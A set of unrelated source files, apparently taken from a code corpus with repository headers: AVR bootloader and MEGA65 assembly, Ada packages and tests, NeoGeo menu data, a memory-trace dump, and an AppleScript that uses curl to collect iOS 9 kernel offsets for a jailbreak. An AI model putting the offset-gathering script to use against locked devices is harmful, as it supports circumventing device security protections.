{'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_normal_ht', 'AVXalign': True, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16}}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}}
{'src': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}}
{'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 8, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
bootloader-nrf2401/bootloader-nrf.asm | natdan/AVR-Bootloaders | 0 | 6669 | <gh_stars>0
; ===============================================================================
;
; Bootloader for nRF24L01
;
; Copyright (C) 2017 Creative Sphere Limited
;
; Copyright (C) 2017 Creative Sphere Limited
; All rights reserved. This program and the accompanying materials
; are made available under the terms of the Apache License v2.0
; which accompanies this distribution, and is available at
; https://www.apache.org/licenses/LICENSE-2.0
;
; Contributors:
; Creative Sphere - initial API and implementation
;
; @author <NAME>
;
;
; Bootloader implemeting subset of stk500 protocol
; over nRF24L01
;
; Hardware:
; ATmeta328p (or compatibile)
; 8bit timer for regular interrupts
;
; Pins: (logical)
; PB5 CLK
; PB4 MISO (DI)
; PB3 MOSI (DO)
; PB2 CS (SS)
; PB1 CE
;
; Fuses:
; BOOTRST = 0 (programmed)
; BootLoader Flash Section 0x800:
; BOOTSZ1 = 0 (programmed)
; BOOTSZ0 = 0 (programmed)
;
; BLB02 = 1 unprogrammed
; BLB01 = 1 unprogrammed
; BLB12 = 1 unprogrammed
; BLB11 = 1 unprogrammed
; SELFPRGEN = 1 unprogrammed
;
;
; Algorithm:
;
.include "m328pdef.inc"
.equ EEPROM_PAGE_SIZE = 4
.equ FLASH_PAGE_SIZE = 128
.equ ProcessorSpeed = 8000000
.equ UART_Baud_Rate = 19200 ; 57600
;.def DEBUG 1
.def A = r16
.def B = r17
.def C = r18
.def D = r19
.def recLen = r20
.def sendLen = r21
.def destination = r22
.def lenH = r25
.def lenL = r24
.def addrL = r4
.def addrH = r5
.def tempL = r6
.def tempH = r7
; .def recBufPtr = X
; .def sendBufPtr = Y
.equ SPI_DI = PB4 // Port B bit 6 (pin7): data in (data from MMC)
.equ SPI_DO = PB3 // Port B bit 5 (pin6): data out (data to MMC)
.equ SPI_CLK = PB5 // Port B bit 7 (pin8): clock
.equ SPI_CS = PB2 // Port B bit 4 (pin5: chip select for MMC
.equ SPI_CE = PB1 // Port B bit 4 (pin5: chip select for MMC
.equ INPUT_PIN = PB0
.equ BOOT_LOADER_ADDRESS = 0x3800
.equ DATA_SIZE = 16
.equ PACKET_SIZE = DATA_SIZE + 1
.equ PAGE_SIZE = 128
.equ RETRY_COUNT = 100
.equ CHANNEL = 1
.equ HW_VER = 0x0f
.equ SW_MAJOR = 0x04
.equ SW_MINOR = 0x0c
.dseg
SendBuffer: .byte PACKET_SIZE
ReceiveBuffer: .byte PACKET_SIZE
MemoryBuffer: .byte PAGE_SIZE
Buffer: .byte 20
.cseg
.org BOOT_LOADER_ADDRESS
jmp RESET
jmp RESET_NO_SKIP
;.org BOOT_LOADER_ADDRESS + INT_VECTORS_SIZE
.include "macros.inc"
.include "ExtensionMacros.inc"
.include "nRF24L01.inc"
.include "USART0.inc"
.macro resetSendBuf
ldiw Y, SendBuffer + 1
ldi sendLen, 0
.endmacro
.macro readByteA
ld A, X+
dec recLen
.endmacro
.macro readByteR
ld @0, X+
dec recLen
.endmacro
.macro writeByteR
st Y+, @0
inc sendLen
.endmacro
.macro writeByteI
ldi A, @0
st Y+, A
inc sendLen
.endmacro
.macro moreBytes
tst recLen
.endmacro
.macro moreSendSpace
cpi sendLen, 16
.endmacro
RESET_NO_SKIP:
cli
ldi A, high(RAMEND) ; Main program start
out SPH, A ; Set Stack Pointer to top of RAM
ldi A, low(RAMEND)
out SPL, A
rjmp Continue_with_bootloader
RESET:
cli
ldi A, high(RAMEND) ; Main program start
out SPH, A ; Set Stack Pointer to top of RAM
ldi A, low(RAMEND)
out SPL, A
cbi DDRB, INPUT_PIN
sbi PORTB, INPUT_PIN
nop
nop
sbic PINB, INPUT_PIN
rjmp DoReset
Continue_with_bootloader:
nop
call USART_Init
call SPI_Init
call RF24_Init
delay10us
resetSendBuf
Loop:
switchToRX
startListening
poolData ; TODO add timeout!!!
rcall ReceiveData
stopListening
readByteA
cpi A, 0x75
brne _not_signature
rjmp Signature
_not_signature:
cpi A, 0x31
brne _not_read_id
rjmp ReadId
_not_read_id:
cpi A, 0x41
brne _not_read_version
rjmp Version
_not_read_version:
cpi A, 0x51
brne _not_reset
rjmp DoResetCommand ; not coming back!
_not_reset:
cpi A, 0x55
brne _not_address
rjmp ReceiveAddress
_not_address:
cpi A, 0x64
brne _not_write
rjmp WriteMemory
_not_write:
cpi A, 0x74
brne _not_read
rjmp ReadMemory
_not_read:
rcall SendACK
rjmp Loop
ReadId:
switchToTX
ldi D, RETRY_COUNT
_ReadId_Loop:
writeFlushTX
clearInterrupts
ldi A, PACKET_SIZE
ldipw Z, ID_PACKET
call RF24_Write_Payload_P
andi A, (1<<TX_DS)
brne _ReadId_OK
#ifdef DEBUG
prints Err
#endif
mov A, D
#ifdef DEBUG
printA
prints CRLF
#endif
dec D
brne _ReadId_Loop
#ifdef DEBUG
prints Failed
#endif
rjmp Loop
_ReadId_OK:
#ifdef DEBUG
prints SentReadId
#endif
rjmp Loop
Signature:
writeByteI 0x14
clr ZH
clr ZL
ldi A, 0x21; (1<<SIGRD) | (1<<SPMEM)
out SPMCSR, A
lpm A, Z
writeByteR A
subi ZL, -2
ldi A, 0x21; (1<<SIGRD) | (1<<SPMEM)
out SPMCSR, A
lpm A, Z
writeByteR A
subi ZL, -2
ldi A, 0x21; (1<<SIGRD) | (1<<SPMEM)
out SPMCSR, A
lpm A, Z
writeByteR A
writeByteI 0x10
rcall SendData
rjmp Loop
Version:
writeByteI 0x14
readByteA
cpi A, 0x80
brne _not_hw_ver
writeByteI HW_VER
rjmp _version_end
_not_hw_ver:
cpi A, 0x81
brne _not_sw_maj
writeByteI SW_MAJOR
rjmp _version_end
_not_sw_maj:
cpi A, 0x82
brne _not_sw_min
writeByteI SW_MINOR
rjmp _version_end
_not_sw_min:
cpi A, 0xC7
brne _not_flash_page_size
writeByteI low(FLASH_PAGE_SIZE)
writeByteI high(FLASH_PAGE_SIZE)
rjmp _version_end
_not_flash_page_size:
cpi A, 0x52
brne _not_eeprom_page_size
writeByteI EEPROM_PAGE_SIZE
rjmp _version_end
_not_eeprom_page_size:
cpi A, 0x98
brne _not_something_else
writeByteI 0x03
rjmp _version_end
_not_something_else:
writeByteI 0x0
_version_end:
writeByteI 0x10
rcall SendData
rjmp Loop
DoResetCommand:
rcall SendACK
; ldi A, (1<<WDE)
; sts WDTCSR, A
DoReset:
clr A
out DDRB, A
jmp 0
ReceiveAddress:
readByteR addrL
readByteR addrH
rcall SendACK
rjmp Loop
ReadMemory:
readByteR lenH
readByteR lenL
readByteR destination ; Destination 'E' or 'F'
resetSendBuf
writeByteI 0x14
mov ZL, addrL
mov ZH, addrH
_ReadMemory_loop1:
tst lenH
brne _ReadMemory_loop1_ok
tst lenL
breq _ReadMemory_loop1_end
_ReadMemory_loop1_ok:
_ReadMemory_loop2:
moreSendSpace
breq _ReadMemory_loop2_end
tst lenH
brne _ReadMemory_loop2_ok
tst lenL
breq _ReadMemory_loop2_end
_ReadMemory_loop2_ok:
cpi destination, 'E'
breq _ReadEEPROM
; TODO - read byte first!
lpm A, Z+
_ReadMemory_cont:
writeByteR A
ldi A, 1
sub lenL, A
clr A
sbc lenH, A
rjmp _ReadMemory_loop2
_ReadEEPROM:
sbic EECR, EEPE
rjmp _ReadEEPROM
out EEARH, ZH
out EEARL, ZL
sbi EECR, EERE
in A, EEDR
push A
ldi A, 1
add ZL, A
clr A
adc ZH, A
pop A
rjmp _ReadMemory_cont
_ReadMemory_loop2_end:
mov addrL, Zl
mov addrH, ZH
rcall SendData
switchToRX
startListening
poolData
rcall ReceiveData
stopListening
resetSendBuf
mov ZL, addrL
mov ZH, addrH
rjmp _ReadMemory_loop1
_ReadMemory_loop1_end:
writeByteI 0x10
rcall SendData
rjmp Loop
WriteMemory:
readByteR lenH
readByteR lenL
readByteR destination ; Destination 'E' or 'F'
ldiw Y, MemoryBuffer
_WriteMemory_loop1:
tst lenH
brne _WriteMemory_loop1_ok
tst lenL
breq _WriteMemory_loop1_end
_WriteMemory_loop1_ok:
_WriteMemory_loop2:
moreBytes
breq _WriteMemory_loop2_end
tst lenH
brne _WriteMemory_loop2_ok
tst lenL
breq _WriteMemory_loop2_end
_WriteMemory_loop2_ok:
readByteA
cpi destination, 'E'
breq _WriteEEPROM
st Y+, A
dec lenL ; memory batch will always be less than 256
rjmp _WriteMemory_loop2
_WriteEEPROM:
sbic EECR, EEPE
rjmp _WriteEEPROM
out EEARH, addrH
out EEARL, addrL
out EEDR, A
sbi EECR, EEMPE
sbi EECR, EEPE
ldi A, 1
add addrL, A
clr A
adc addrH, A
; dec lenL
; sbc lenH, A
ldi A, 1
sub lenL, A
clr A
sbc lenH, A
rjmp _WriteMemory_loop2
_WriteMemory_loop2_end:
tst lenH
brne _WriteMemory_send_continuation
tst lenL
breq _WriteMemory_loop1
_WriteMemory_send_continuation:
mov tempL, YL
mov tempH, YH
resetSendBuf
rcall SendData
switchToRX
startListening
poolData
rcall ReceiveData
stopListening
mov YL, tempL
mov YH, tempH
rjmp _WriteMemory_loop1
_WriteMemory_loop1_end:
; TODO add page size to addrL:H
cpi destination, 'E'
breq _WriteMemory_loop1_end_eeprom
ldi A, 128
ldiw Y, MemoryBuffer
mov ZL, addrL
mov ZH, addrH
call Write_page
ldi A, low(PAGE_SIZE)
add addrL, A
ldi A, high(PAGE_SIZE)
adc addrH, A
_WriteMemory_loop1_end_eeprom:
rcall SendACK
rjmp Loop
ReceiveData:
ldi A, PACKET_SIZE
ldiw Z, ReceiveBuffer
rcall RF24_Read_Payload
ldiw X, ReceiveBuffer
ld recLen, X+
ret
SendData:
#ifdef DEBUG
prints SendingData
#endif
ldi D, RETRY_COUNT
_SendData_Loop:
ldiw Z, SendBuffer
st Z+, sendLen
ldiw Z, SendBuffer
switchToTX
writeFlushTX
clearInterrupts
ldi A, PACKET_SIZE
call RF24_Write_Payload_M
andi A, (1<<TX_DS)
brne _SendData_OK
#ifdef DEBUG
prints Err
#endif
mov A, D
#ifdef DEBUG
printA
prints CRLF
#endif
dec D
brne _SendData_Loop
#ifdef DEBUG
prints Failed
#endif
writeRegI STATUS, (1<<TX_DS) | (1<<MAX_RT)
resetSendBuf
ret
_SendData_OK:
#ifdef DEBUG
prints SentData
#endif
writeRegI STATUS, (1<<TX_DS) | (1<<MAX_RT)
resetSendBuf
ret
SendACK:
#ifdef DEBUG
prints SendingACK
#endif
ldi D, RETRY_COUNT
_SendACK_Loop:
switchToTX
writeFlushTX
clearInterrupts
ldi A, PACKET_SIZE
ldipw Z, ACK_PACKET
call RF24_Write_Payload_P
andi A, (1<<TX_DS)
brne _SendACK_OK
#ifdef DEBUG
prints Err
#endif
mov A, D
#ifdef DEBUG
printA
prints CRLF
#endif
dec D
brne _SendACK_Loop
#ifdef DEBUG
prints Failed
#endif
ret
_SendACK_OK:
#ifdef DEBUG
prints SentAck
#endif
ret
.include "flash.inc"
ACK_PACKET: .db 2, 0x14, 0x10
ID_PACKET: .db 9, 0x14, "nRF ISP", 0x10
Pipe_Address: .db "BOOTL"
SendingACK: .db "SendingACK", 13, 10, 0
SentACK: .db "SentACK", 13, 10, 0
SendingData: .db "SendingData", 13, 10, 0
SentData: .db "SentData", 13, 10, 0
SentReadId: .db "SentReadId", 13, 10, 0
Err: .db "Err:", 0
Failed: .db "Failed", 13, 10, 0
CRLF: .db 13, 10, 0 |
offsetJsonMaker.applescript | Xernium/BetterHomeDepotOffsetMaker | 1 | 1314 | <reponame>Xernium/BetterHomeDepotOffsetMaker
# We have both RELEASE_ARM_ and MarijuanARM_ .....
set krnver_list to {"Darwin Kernel Version 15.0.0: Fri Oct 2 14:07:07 PDT 2015; root:xnu-3248.10.42~4/", "Darwin Kernel Version 15.0.0: Fri Nov 13 16:08:07 PST 2015; root:xnu-3248.21.2~1/", "Darwin Kernel Version 15.0.0: Wed Dec 9 22:19:38 PST 2015; root:xnu-3248.31.3~2/", "Darwin Kernel Version 15.4.0: Fri Feb 19 13:54:52 PST 2016; root:xnu-3248.41.4~28/", "Darwin Kernel Version 15.5.0: Mon Apr 18 16:44:07 PDT 2016; root:xnu-3248.50.21~4/", "Darwin Kernel Version 15.6.0: Mon Jun 20 20:10:21 PDT 2016; root:xnu-3248.60.9~1/"}
set fw_list to {"9.1", "9.2", "9.2.1", "9.3", "9.3.1", "9.3.2", "9.3.3", "9.3.4"}
set fw_count to length of fw_list
set fw_krnl_vers to {1, 2, 3, 4, 4, 5, 6, 6}
set offset_count to 13
# iPad 2's except 2,4 & iPhone 4S: S5L8940 -- A5
# iPhone 5 & iPhone 5C: S5L8950 -- A6
# iPad 3: S5L8945 -- A5X
# iPad 4: S5L8955 -- A6X
# iPad mini & iPod touch 5G & iPad2,4 : S5L8942 -- A5 REV A
# We need some devices to query the offsets from, one for each processor:
set target_device_list to {"iPhone4,1", "iPhone5,1", "iPad3,1", "iPad3,4", "iPad2,4"}
set processor_list to {"S5L8940X", "S5L8950X", "S5L8945X", "S5L8955X", "S5L8942X"}
set device_count to length of target_device_list
set jsonpath to (quoted form of POSIX path of (get path to home folder) & "/Desktop/offsets.json") as string
# Set the file first
do shell script ("echo { >& " & jsonpath)
# All set?
repeat with current_device from 1 to device_count by 1
repeat with current_fw from 1 to fw_count by 1
do shell script ("curl http://wall.supplies/offsets/" & (item current_device of target_device_list) & "-" & (item current_fw of fw_list))
set response to result
#display dialog response with title "TRS"
set resp_paragraph to paragraphs of response
if (count paragraphs of response) is not offset_count then
do shell script ("echo " & (quoted form of ("Error! The following offsets failed to be correctly recieved: " & (item current_device of target_device_list) & "-" & (item current_fw of fw_list) & ", Recieved " & (count paragraphs of response) & " but expected " & offset_count & " offsets!")) & " >> " & ((quoted form of POSIX path of (get path to home folder)) & "/Desktop/mkoffsets.log"))
else
set eb_c_kernel_string to ((item (item current_fw of fw_krnl_vers) of krnver_list) & "RELEASE_ARM_" & item current_device of processor_list) as string
set running_c_kernel_string to ((item (item current_fw of fw_krnl_vers) of krnver_list) & "MarijuanARM_" & item current_device of processor_list) as string
do shell script {"echo " & (quoted form of (" \"" & eb_c_kernel_string & "\":")) & " >> " & jsonpath}
do shell script {"echo " & (quoted form of (" [\"" & item 1 of resp_paragraph & "\",")) & " >> " & jsonpath}
repeat with current_offset from 2 to (offset_count - 1) by 1
do shell script {"echo " & (quoted form of (" \"" & item current_offset of resp_paragraph & "\",")) & " >> " & jsonpath}
end repeat
do shell script {"echo " & (quoted form of (" \"" & item 13 of resp_paragraph & "\"],")) & " >> " & jsonpath}
do shell script {"echo " & (quoted form of (" \"" & running_c_kernel_string & "\":")) & " >> " & jsonpath}
do shell script {"echo " & (quoted form of (" [\"" & item 1 of resp_paragraph & "\",")) & " >> " & jsonpath}
repeat with current_offset from 2 to (offset_count - 1) by 1
do shell script {"echo " & (quoted form of (" \"" & item current_offset of resp_paragraph & "\",")) & " >> " & jsonpath}
end repeat
if ((current_device is equal to device_count) and (current_fw is equal to fw_count)) then
do shell script {"echo " & (quoted form of (" \"" & item 13 of resp_paragraph & "\"]")) & " >> " & jsonpath}
do shell script ("echo } >> " & jsonpath)
else
do shell script {"echo " & (quoted form of (" \"" & item 13 of resp_paragraph & "\"],")) & " >> " & jsonpath}
end if
end if
end repeat
end repeat
|
demos/list.ada | daveshields/AdaEd | 3 | 29872 | generic
type ELEMENT is private;
package LIST_PACKAGE is
type LIST is private;
EMPTY_LIST : constant LIST;
procedure APPEND(L : in out LIST; E : in ELEMENT);
procedure REMOVE(L : in out LIST; E : out ELEMENT);
procedure CONS(E : in ELEMENT; L : in out LIST);
function FIRST(L : in LIST) return ELEMENT;
function LAST(L : in LIST) return ELEMENT;
function IS_EMPTY(L : in LIST) return BOOLEAN;
EMPTY : exception;
private
type LIST_ITEM;
type LIST is access LIST_ITEM;
type LIST_ITEM is
record
ITEM : ELEMENT;
LINK : LIST := NULL;
end record;
EMPTY_LIST : constant LIST := NULL;
end LIST_PACKAGE;
package body LIST_PACKAGE is
FREE : LIST := EMPTY_LIST;
function IS_EMPTY(L : in LIST) return BOOLEAN is
--
-- Tests whether the LIST L is empty
--
begin
return L = EMPTY_LIST;
end IS_EMPTY;
function NEW_L(E : in ELEMENT) return LIST is
--
-- This procedure creates a list node and places the
-- element in it. It uses the FREE list if it is not empty.
--
P : LIST;
begin
if FREE = EMPTY_LIST then
return new LIST_ITEM'(E, NULL);
else
P := FREE;
FREE := FREE.LINK;
P.ITEM := E ;
return P;
end if;
end NEW_L;
procedure APPEND(L : in out LIST; E : in ELEMENT) is
--
-- This procedure appends the element E to the list L.
--
P : LIST;
begin
P := NEW_L(E);
if L = EMPTY_LIST then
P.LINK := P;
else
P.LINK := L.LINK;
L.LINK := P;
end if;
L := P;
end APPEND;
procedure REMOVE(L : in out LIST; E : out ELEMENT) is
--
-- This procedure removes the first item from the list L and
-- returns its value in E.
-- If the list is empty, it raises the exception EMPTY.
P : LIST;
begin
if L = EMPTY_LIST then
raise EMPTY;
end if;
P := L.LINK;
E := P.ITEM;
if P = L then
L := NULL; -- Removed last item from the list
else
L.LINK := P.LINK;
end if;
P.LINK := FREE; -- Add to the free list
FREE := P;
end REMOVE;
procedure CONS(E : in ELEMENT; L : in out LIST) is
--
-- This procedure adds the element E onto the front of the list
--
P : LIST;
begin
if L = EMPTY_LIST then
APPEND(L, E);
else
P := L;
APPEND(L, E);
L := P;
end if;
end CONS;
function FIRST(L : in LIST) return ELEMENT is
--
-- This function returns the first item in the list if the
-- list is not empty; otherwise it raises the exception EMPTY.
--
begin
if L = EMPTY_LIST then
raise EMPTY;
else
return L.LINK.ITEM;
end if;
end FIRST;
function LAST(L : in LIST) return ELEMENT is
--
-- This function returns the last item in the list if the
-- list is not empty; otherwise it raises the exception EMPTY.
--
begin
if L = EMPTY_LIST then
raise EMPTY;
else
return L.ITEM;
end if;
end LAST;
end LIST_PACKAGE;
|
source/system/stackdata.asm | mega65dev/rom-assembler | 0 | 27334 | <reponame>mega65dev/rom-assembler
; ********************************************************************************************
; ********************************************************************************************
;
; Name : stackdata.asm
; Purpose : ..
; Created : 15th Nov 1991
; Updated : 4th Jan 2021
; Authors : <NAME>
;
; ********************************************************************************************
; ********************************************************************************************
* = $00ff
lofbuf !fill 1
fbuffr !fill 16 ; MathPack builds numbers here, USING, RENUMBER
; Kernel MAP configurations & DMA lists
!fill 16+36 ; (4 configs + 3 DMA lists)
; BASIC DMA lists (2 @ 12bytes each = 24 bytes)
dma1_cmd !fill 1 ; This list is used by BASIC OS
dma1_cnt_lo !fill 1
dma1_cnt_hi !fill 1
dma1_src_lo !fill 1
dma1_src_hi !fill 1
dma1_src_bank !fill 1
dma1_dest_lo !fill 1
dma1_dest_hi !fill 1
dma1_dest_bank !fill 1
dma1_subcmd !fill 1 ; (from here on not supported until F018A) [910520] F018A
dma1_mod_lo !fill 1
dma1_mod_hi !fill 1
dma2_cmd !fill 1 ; This list is used by DMA command & Graphics
dma2_cnt_lo !fill 1
dma2_cnt_hi !fill 1
dma2_src_lo !fill 1
dma2_src_hi !fill 1
dma2_src_bank !fill 1
dma2_dest_lo !fill 1
dma2_dest_hi !fill 1
dma2_dest_bank !fill 1
dma2_subcmd !fill 1 ; (from here on not supported until F018A) [910520] F018A
dma2_mod_lo !fill 1
dma2_mod_hi !fill 1
!fill 1 ; Kernel's dma_byte
sysstk ; bottom of system stack
stkend = $1fb ; top of system stack
; ********************************************************************************************
;
; Date Changes
; ==== =======
;
; ********************************************************************************************
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/test_table1.adb | best08618/asylo | 7 | 7420 | -- { dg-do run }
with GNAT.Table;
with Ada.Text_IO; use Ada.Text_IO;
procedure test_table1 is
type Rec is record
A, B, C, D, E : Integer := 0;
F, G, H, I, J : Integer := 1;
K, L, M, N, O : Integer := 2;
end record;
R : Rec;
package Tab is new GNAT.Table (Rec, Positive, 1, 4, 30);
Last : Natural;
begin
R.O := 3;
Tab.Append (R);
for J in 1 .. 1_000_000 loop
Last := Tab.Last;
begin
Tab.Append (Tab.Table (Last));
exception
when others =>
Put_Line ("exception raise for J =" & J'Img);
raise;
end;
if Tab.Table (Tab.Last) /= R then
Put_Line ("Last is not what is expected");
Put_Line (J'Img);
return;
end if;
end loop;
end;
|
MemEdit/mess.asm | neogeodev/NGAcidTests | 6 | 15543 | <filename>MemEdit/mess.asm
MESS_MENU:
dc.w $0001
dc.w $00FF
dc.w $0003
dc.w $7144
dc.w $0108
dc.b "The NEOGEO Acid Test", $FF
dc.w $0003
dc.w $71A8
dc.w $0007
dc.b "1. Mem. map test", $FF
dc.w $0005
dc.w $0001
dc.w $0007
dc.b "2. LSPC test", $FF
dc.w $0005
dc.w $0001
dc.w $0007
dc.b "3. WAIT test", $FF
dc.w $0005
dc.w $0001
dc.w $0007
dc.b "4. Cab I/O test", $FF
dc.w $0005
dc.w $0001
dc.w $0007
dc.b "5. Z80 I/O test", $FF
dc.w $0000
|
programs/oeis/096/A096748.asm | jmorken/loda | 1 | 164845 | ; A096748: Expansion of (1+x)^2/(1-x^2-x^4).
; 1,2,2,2,3,4,5,6,8,10,13,16,21,26,34,42,55,68,89,110,144,178,233,288,377,466,610,754,987,1220,1597,1974,2584,3194,4181,5168,6765,8362,10946,13530,17711,21892,28657,35422,46368,57314,75025,92736,121393,150050,196418,242786,317811,392836,514229,635622,832040,1028458,1346269,1664080,2178309,2692538,3524578,4356618,5702887,7049156,9227465,11405774,14930352,18454930,24157817,29860704,39088169,48315634,63245986,78176338,102334155,126491972,165580141,204668310,267914296,331160282,433494437,535828592,701408733,866988874,1134903170,1402817466,1836311903,2269806340,2971215073,3672623806,4807526976,5942430146,7778742049,9615053952,12586269025,15557484098,20365011074,25172538050,32951280099,40730022148,53316291173,65902560198,86267571272,106632582346,139583862445,172535142544,225851433717,279167724890,365435296162,451702867434,591286729879,730870592324,956722026041,1182573459758,1548008755920,1913444052082,2504730781961,3096017511840,4052739537881,5009461563922,6557470319842,8105479075762,10610209857723,13114940639684,17167680177565,21220419715446,27777890035288,34335360355130,44945570212853,55555780070576,72723460248141,89891140425706,117669030460994,145446920496282,190392490709135,235338060921988,308061521170129,380784981418270,498454011879264,616123042340258,806515533049393,996908023758528,1304969544928657,1613031066098786,2111485077978050,2609939089857314,3416454622906707,4222970155956100,5527939700884757,6832909245813414,8944394323791464
lpb $0
sub $0,1
mov $2,$1
add $1,$3
mov $3,$2
sub $3,$0
trn $3,1
add $3,1
mov $4,$3
lpe
add $0,$4
add $0,1
mov $1,$0
|
example.adb | nenofite/ada-genetic | 1 | 13090 | with Genetic;
with Ada.Text_Io; use Ada.Text_Io;
with Ada.Float_Text_Io; use Ada.Float_Text_Io;
with Ada.Numerics.Float_Random;
procedure Example is
-- We need a random generator to produce and mutate genes. Here we'll use
-- the built-in one.
package Random renames Ada.Numerics.Float_Random;
Rng : Random.Generator;
-- The gene data type we will use. Usually genes are collections of floats,
-- where each float is a parameter in the problem being solved.
type Gene is record
A, B : Float;
end record;
-- In our contrived example, the gene's fitness is just the sum of its two
-- parts.
function Fitness_Of (G : in Gene) return Float is
(G.A + G.B);
-- This function creates a random gene.
function Random_Gene return Gene is
-- Each part of the gene is given a random float value.
((A => Random.Random (Rng), B => Random.Random (Rng)));
-- This procedure modifies a gene in a subtle way. Usually we'll just add or
-- subtract a small random value from each part of the gene.
procedure Mutate (G : in out Gene) is
begin
-- Add ±0.1 to each part of the gene.
G.A := G.A + (Random.Random (Rng) * 0.2 - 0.1);
G.B := G.B + (Random.Random (Rng) * 0.2 - 0.1);
end Mutate;
-- Now we'll create the `Genetic` package with data type and functions we've
-- just defined.
package Gen is new Genetic (
-- These are all the data types and functions we defined above.
Gene => Gene,
Fitness_Of => Fitness_Of,
Random_Gene => Random_Gene,
Mutate => Mutate,
-- How many genes to keep in the gene pool.
Pool_Size => 100);
-- This is just a helper function to show a gene in the output.
procedure Put_Gene (G : in Gene) is
begin
-- Display the parts of the gene.
Put ("A: ");
Put (G.A);
